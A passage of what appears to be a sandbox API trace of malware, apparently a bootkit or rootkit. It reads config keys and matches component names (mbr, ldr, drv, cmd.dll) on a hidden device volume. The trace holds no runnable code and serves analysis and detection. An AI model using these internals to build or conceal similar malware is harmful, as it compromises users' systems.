out: FastMutex=0xfffffa80027d3898) [0118.959] KeLeaveCriticalRegion () [0118.959] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.959] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.959] KeEnterCriticalRegion () [0118.959] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.959] ExFreePoolWithTag (P=0xfffffa8003bcee10, Tag=0x0) [0118.959] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.959] KeLeaveCriticalRegion () [0118.959] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.959] ReleaseMutex (hMutex=0xf0) returned 1 [0118.959] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.959] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.959] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.959] KeEnterCriticalRegion () [0118.959] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.959] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.959] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.959] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.959] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.959] IdePortDispatch () returned 0x103 [0118.960] KeWaitForMutexObject () returned 0x0 [0118.960] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.960] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.960] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.960] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.960] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.960] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc1900 [0118.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.960] KeLeaveCriticalRegion () [0118.960] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.960] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.960] KeEnterCriticalRegion () [0118.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.960] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.960] KeLeaveCriticalRegion () [0118.960] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.960] KeEnterCriticalRegion () [0118.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.960] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.960] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.960] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.960] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.960] IdePortDispatch () returned 0x103 [0118.961] KeWaitForMutexObject () returned 0x0 [0118.961] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.961] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.961] KeLeaveCriticalRegion () [0118.961] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.961] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.961] KeEnterCriticalRegion () [0118.961] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.961] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c4a000 [0118.961] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.961] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.961] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.961] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.961] IdePortDispatch () returned 0x103 [0118.961] KeWaitForMutexObject () returned 0x0 [0118.961] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.961] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.961] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.961] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.961] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.962] IdePortDispatch () returned 0x103 [0118.962] KeWaitForMutexObject () returned 0x0 [0118.962] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.962] KeLeaveCriticalRegion () [0118.962] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.962] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.963] KeEnterCriticalRegion () [0118.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.963] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.963] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.963] KeLeaveCriticalRegion () [0118.963] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.963] KeEnterCriticalRegion () [0118.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.963] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.963] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.963] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.963] KeLeaveCriticalRegion () [0118.963] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.963] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.963] KeEnterCriticalRegion () [0118.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.963] ExFreePoolWithTag (P=0xfffffa8003bc1900, Tag=0x0) [0118.963] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.963] KeLeaveCriticalRegion () [0118.963] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.963] ReleaseMutex (hMutex=0xf0) returned 1 [0118.963] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.963] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.963] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.963] KeEnterCriticalRegion () [0118.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.963] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.963] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.963] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.963] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.963] IdePortDispatch () returned 0x103 [0118.964] KeWaitForMutexObject () returned 0x0 [0118.964] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.964] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.964] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.964] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.964] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.964] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d1a10 [0118.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.964] KeLeaveCriticalRegion () [0118.964] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.964] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.964] KeEnterCriticalRegion () [0118.964] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.964] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.964] KeLeaveCriticalRegion () [0118.964] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.964] KeEnterCriticalRegion () [0118.964] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.964] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.964] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.964] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.964] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.964] IdePortDispatch () returned 0x103 [0118.965] KeWaitForMutexObject () returned 0x0 [0118.965] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.965] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.965] KeLeaveCriticalRegion () [0118.965] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.965] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.965] KeEnterCriticalRegion () [0118.965] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.965] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c4b000 [0118.965] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.965] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.965] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.965] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.965] IdePortDispatch () returned 0x103 [0118.965] KeWaitForMutexObject () returned 0x0 [0118.965] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.965] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.966] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.966] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.966] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.966] IdePortDispatch () returned 0x103 [0118.966] KeWaitForMutexObject () returned 0x0 [0118.966] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.966] KeLeaveCriticalRegion () [0118.966] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.966] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.967] KeEnterCriticalRegion () [0118.967] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.967] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.967] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.967] KeLeaveCriticalRegion () [0118.967] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.967] KeEnterCriticalRegion () [0118.967] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.967] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.967] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.967] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.967] KeLeaveCriticalRegion () [0118.967] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.967] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.967] KeEnterCriticalRegion () [0118.967] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.967] ExFreePoolWithTag (P=0xfffffa80039d1a10, Tag=0x0) [0118.967] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.967] KeLeaveCriticalRegion () [0118.967] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.967] ReleaseMutex (hMutex=0xf0) returned 1 [0118.967] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.967] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.967] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.967] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.967] KeEnterCriticalRegion () [0118.967] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.967] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.967] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.967] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.967] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.967] IdePortDispatch () returned 0x103 [0118.968] KeWaitForMutexObject () returned 0x0 [0118.968] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.968] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.968] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.968] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.968] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.968] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.968] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.968] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.968] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.968] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.968] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.968] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.968] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.968] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.968] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.968] KeLeaveCriticalRegion () [0118.968] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.968] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.968] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.968] KeEnterCriticalRegion () [0118.968] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.968] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.968] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.968] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.968] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.969] IdePortDispatch () returned 0x103 [0118.969] KeWaitForMutexObject () returned 0x0 [0118.969] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.969] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.969] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.969] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.969] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.969] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.969] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.969] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.969] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.969] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.969] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.969] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.969] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.969] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.969] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.969] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.969] KeLeaveCriticalRegion () [0118.969] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.969] ReleaseMutex (hMutex=0x100) returned 1 [0118.969] Sleep (dwMilliseconds=0x2bf20) [0118.978] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a1d2ef0, dwHighDateTime=0x1d24fa4)) [0118.978] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.978] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.978] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.978] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.978] KeEnterCriticalRegion () [0118.978] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.978] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.978] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.978] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.978] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.978] IdePortDispatch () returned 0x103 [0118.979] KeWaitForMutexObject () returned 0x0 [0118.979] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.979] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.979] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.979] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.979] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.979] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbf1a0 [0118.979] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.979] KeLeaveCriticalRegion () [0118.979] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.979] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.979] KeEnterCriticalRegion () [0118.979] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.979] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.979] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.979] KeLeaveCriticalRegion () [0118.979] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.979] KeEnterCriticalRegion () [0118.979] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.979] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.979] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.979] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.979] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.979] IdePortDispatch () returned 0x103 [0118.980] KeWaitForMutexObject () returned 0x0 [0118.980] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.980] KeLeaveCriticalRegion () [0118.980] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.980] _snprintf (in: _Dest=0xfffff880028b2770, 